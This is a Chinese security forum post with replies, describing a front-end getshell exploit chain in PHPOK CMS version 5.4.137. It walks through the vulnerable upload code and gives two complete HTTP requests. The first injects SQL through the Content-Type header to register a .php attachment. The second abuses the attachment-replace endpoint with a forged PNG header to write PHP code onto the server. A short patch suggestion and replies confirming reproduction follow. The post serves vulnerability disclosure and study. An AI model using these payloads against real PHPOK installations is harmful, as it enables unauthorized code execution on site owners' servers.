【九零新年礼物】phpok最新版前台getshell

代写代发,此处艾特续爷@Joseph

GitHub上刚下载来的版本,5.4.137,有一个注入,然后按照https://xz.aliyun.com/t/1569进行getshell。

问题定位

注入点在这里framework/api/upload_control.php:67,主要操作是把文件上传信息保存到了数据库

        $upload = $this->lib('upload')->upload('upfile');
        if (!$upload || !$upload['status']) {
            $this->json(P_Lang('附件上传失败'));
        }
        if ($upload['status'] != 'ok') {
            $this->json($upload['content']);
        }
        $array              = array();
        $array["cate_id"]   = $this->lib('upload')->get_cate();
        $array["folder"]    = $this->lib('upload')->get_folder();
        $array["name"]      = $upload['name'];
        $array["ext"]       = $upload["ext"];
        $array["filename"]  = $upload['filename'];
        $array["addtime"]   = $this->time;
        $array['title']     = $upload['title'];
        $array["mime_type"] = $upload['mime_type'];
        $arraylist          = array("jpg", "gif", "png", "jpeg");
        if (in_array($upload['ext'], $arraylist)) {
            $img_ext       = getimagesize($this->dir_root . $upload['filename']);
            $my_ext        = array("width" => $img_ext[0], "height" => $img_ext[1]);
            $array["attr"] = serialize($my_ext);
        }
        if (!$this->is_client) {
            $array["session_id"] = $this->session->sessid();
        }
        $array['user_id'] = $this->u_id;
        $id               = $this->model('res')->save($array);

我们跟入$upload = $this->lib('upload')->upload('upfile');
进入实际方法位于framework/libs/upload.php:204

我们看到两行关键代码

        $mime_type = $_FILES[$input]["type"];
...
        return array('title' => $title, 'ext' => $ext, 'mime_type' => $mime_type, 'filename' => $outfile, 'folder' => $this->folder, 'status' => 'ok');

得到了返回的mime_type,而中间没有对$mime_type进行过滤和检查,也没有对$_FILES变量进行审查,这就导致可能存在注入

验证与exp

该上传方法对应的接口是/api.php?c=upload&f=save
上传调用页面为/index.php?c=usercp&f=avatar
我们把断点下在framework/engine/db/mysqli.php:111,然后上传头像,拦截,在Content-Type上加个单引号

INSERT INTO qinggan_res (`cate_id`,`folder`,`name`,`ext`,`filename`,`addtime`,`title`,`mime_type`,`attr`,`session_id`,`user_id`) VALUES('1','res/202001/19/','','png','res/202001/19/2309a96e89ea3880.png','1579430399','loading','image/png'','a:2:{s:5:"width";i:1422;s:6:"height";i:1066;}','b35ptcavpkib4juss1451hbu4u','45')

注入点就已经出现了,利用方法和先知的那篇一样:phpok可以通过api.php调用控制器和里面的方法,而在framework/www/upload_control.php:104处有一个附件替换的方法,该方法从数据库查询旧的文件名,然后向磁盘删除对应的文件,并添加新上传的文件,我们可以看到附件替换的关键方法位于framework/libs/file.php:269,如下

	public function mv($old,$new,$recover=true)
	{
		if(!file_exists($old)){
			return false;
		}
		if(substr($new,-1) == "/"){
			$this->make($new,"dir");
		}else{
			$this->make($new,"file");
		}
		if(file_exists($new)){
			if($recover){
				unlink($new);
			}else{
				return false;
			}
		}else{
			$new = $new.basename($old);
		}
		rename($old,$new);
		return true;
	}

可以看到,虽然是附件替换,但是即使源附件不存在也没关系,依然正常写入。

那么从注入到getshell的思路就是:通过SQL注入一条附件数据,文件类型为php,然后通过api.php调用起附件替换功能,就可以向目标路径写入一个php文件。

则payload如下

POST /api.php?c=upload&f=save HTTP/1.1
Host: local.hundan.org
Content-Length: 902
Origin: http://local.hundan.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.53 Safari/537.36 Edg/80.0.361.33
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Eig5P1Ubm1e2y05
Accept: */*
Referer: http://local.hundan.org/index.php?c=usercp&f=avatar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="name"

loading.png
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="type"

image/png
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="lastModifiedDate"

Wed Sep 18 2019 19:38:52 GMT+0800 (China Standard Time)
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="size"

153699
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="upfile"; filename="loading.png"
Content-Type: ','a%3a2%3a{s%3a5%3a"width"%3bi%3a1422%3bs%3a6%3a"height"%3bi%3a1066%3b}','b35ptcavpkib4juss1451hbu4u','45'),
('1','/','','php','joseph.php','1579433203','loading','www1


------WebKitFormBoundary2Eig5P1Ubm1e2y05--

而上传部分还有两个字节的文件头检测

所以需要添加两个字节的图片头,url编码后为 %89P

POST /index.php?c=upload&f=replace&oldid=1435 HTTP/1.1
Host: local.hundan.org
Content-Length: 763
Origin: http://local.hundan.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.53 Safari/537.36 Edg/80.0.361.33
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Eig5P1Ubm1e2y05
Accept: */*
Referer: http://local.hundan.org/index.php?c=usercp&f=avatar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="name"

loading.png
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="type"

image/png
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="lastModifiedDate"

Wed Sep 18 2019 19:38:52 GMT+0800 (China Standard Time)
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="size"

153699
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="upfile"; filename="loading.png"
Content-Type: image/png

‰P
<?php phpinfo();?>
------WebKitFormBoundary2Eig5P1Ubm1e2y05--

修复

其实修复的点有很多,图片完整性检测、SQL注入、替换拓展名检查等等,好且全面的方案可以修复一些潜在的问题,这里只对当前问题提出一个解决方案

framework/libs/upload.php:214

		$mime_type = $_FILES[$input]["type"];

改为

        $mime_type = mime_content_type($_FILES["upfile"]["tmp_name"]);
3 个赞

牛逼

2 个赞

可以和 对PHPOK的一次审计 这篇一起学习,都是最新版的 getshell

4 个赞

请问是如何快速判断是将文件上传信息保存到了数据库

复现成功,感谢续爷!

复现成功

这个如果是白盒的话!我个人觉得人工的话!就没快速能够判断是否将上传信息保存在数据库里面的,除非傻瓜写法,比如:add($_FILE),不过可以先搜索file存在的位置,然后看file的过程中是否有进行sql插入操作,不过一般存储的信息很多都return返回的,很少遇见是直接存储未return的

我复现出现问题

MySQL日志。